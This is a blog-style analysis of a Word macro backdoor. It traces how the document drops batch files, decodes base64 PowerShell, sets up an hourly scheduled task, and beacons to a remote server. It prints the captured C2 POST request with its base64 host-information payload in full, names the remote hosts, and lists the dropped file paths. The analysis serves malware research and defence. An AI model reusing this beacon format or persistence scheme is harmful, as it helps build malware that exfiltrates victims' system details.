Word Macro backdoor Trojan


I came across this sample from one of Twitter post and immediately I downloaded this sample from virusbay.io 

for analysis.

First I used oleTools to analyse word macro.

  • Macro will execute on opening file.
  • It creates text file.
  • It executes PowerShell command.
  • it has base64 used to obfuscate the string.
  • And it creates two bat files which will execute PowerShell script.
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Below screenshots of word document

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When I clicked on Enable Editing and Edit Macro, A pop came up and asking for password. Which I didn’t know and I clicked on Cancel button but macro executed.

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While performing this action, I was running Sysinternal’s Autoruns  and Process Monitor to capture the background activity.

And found word document dropped files at location C:\ProgramData file names are

  • Win32ApiSync.bat 
  • Win32ApiSyncLog.txt
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and dropped another file at location Startup programs.

  • Win32ApiSyncTskSchdlr.bat
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Win32ApiSyngTskSchDlr.bat file will execute Win32ApiSync.bat file and add it task scheduler for running 1 hourly basis.

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and Win32ApiSync.bat file will decode base64 obfuscated string stored in file Win32ApiSyncLog.txt. 

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You can read Win32ApiSyncLog.txt file data here Pastebin

I used below PowerShell script to decode  Base64 obfuscated string and written it to text file which was actually a PowerShell script.

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Decoded base64 string you can read here at Pastebin and below is the screenshot of decoded string which is PowerShell script.

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Above decoded PowerShell has another base64 obfuscated string (start of string highlighted in yellow) which i decoded again using same PowerShell script (above screenshot) and output text you can find here on Pastebin

It has Chinese like characters which I was unable to decode/translate and because of this i thought to run this PowerShell to see the behavior.

I executed Win32ApiSyncTskSchdlr.bat file and saw that this file created a task scheduler job and schedule Win32ApiSync.bat file triggering every 1 hour.

I found this information in Sysinternal’s Autoruns tool

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Below is the task scheduler job.

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I also could find the files getting dropped at below locations and file names are

  • 6772.xml
  • AutoSaved_17e74b3e-413b-498a-a922-8f04498c1d4a_Untitled2.ps1
  • AutoSaved_d40bd1dc-5457-4e11-85d5-b31138ee3b48_Untitled3.ps1
  • Userconfig.xml
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6772.xml file data

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connection has made to remote IP 94[.]23[.]148[.]194 and post request has made.

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below is the post command

POST /serverScript/clientFrontLine/helloServer.php?helloMsg=NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0VXSU4xMCpXT1JLR1JPVVAqTVNFREdFV0lOMTBcSUVVc2VyKjEyNy4wLjAuMQ==,NzgtNEEtQjAtNEYtNDEtMzAtRTUtNTAtM0MtMDYtNDItQUMtNzYtRjQtODYtOEUqNDAzMzQwMzMq%0D%0Ac2NydEFnbnQxLjEqTWljcm9zb2Z0IFdpbmRvd3MgMTAgRW50ZXJwcmlzZSBFdmFsdWF0aW9uKjY0%0D%0ALWJpdCpNU0VER0V

another http request I see in wireshark is 414 Request-URI too long and host is HANGER[]mobinhost[.]com port 80

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One more file created at location C:\ProgramData\error.txt

File has logs which saying “unable to connect to remote server.” (This may be when I disconnected from Internet) and another error was logged is “Invalid URI: The Uri string is too long.”

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I renamed all dropped bat files, PowerShell scripts and text file and tried to access the IP address via browser.

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Behavior of Malware: 

  • On opening word document, drops Batch files and which executes PowerShell script from base64 obfuscated string.
  • Batch files creates a task scheduler jobs which executes every hour.
  • From the error logs and WireShark network logs, it seems it upload data to IP 94[.]23[.]148[.]194

Files dropped on system:

  • C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Win32ApiSyncTskSchdlr.bat
  • C:\ProgramData\Win32ApiSync.bat
  • C:\ProgramData\Win32ApiSyncLog.txt
  • C:\Users\IEUser\AppData\Local\Microsoft_Corporation\PowerShell_ISE.exe_StrongName_lw2v2vm3wmtzzpebq33gybmeoxukb04w\3.0.0.0\user.config
  • C:\Users\IEUser\AppData\Local\Microsoft_Corporation\PowerShell_ISE.exe_StrongName_lw2v2vm3wmtzzpebq33gybmeoxukb04w\3.0.0.0\AutoSaveFiles\AutoSaved_17e74b3e-413b-498a-a922-8f04498c1d4a_Untitled2.ps1
  • C:\Users\IEUser\AppData\Local\Microsoft_Corporation\PowerShell_ISE.exe_StrongName_lw2v2vm3wmtzzpebq33gybmeoxukb04w\3.0.0.0\AutoSaveFiles\AutoSaved_d40bd1dc-5457-4e11-85d5-b31138ee3b48_Untitled3.ps1
  • C:\Users\IEUser\AppData\Local\Microsoft_Corporation\PowerShell_ISE.exe_StrongName_lw2v2vm3wmtzzpebq33gybmeoxukb04w\3.0.0.0\AutoSaveInformation\6772.xml

Suggestions are welcome. Thank you.

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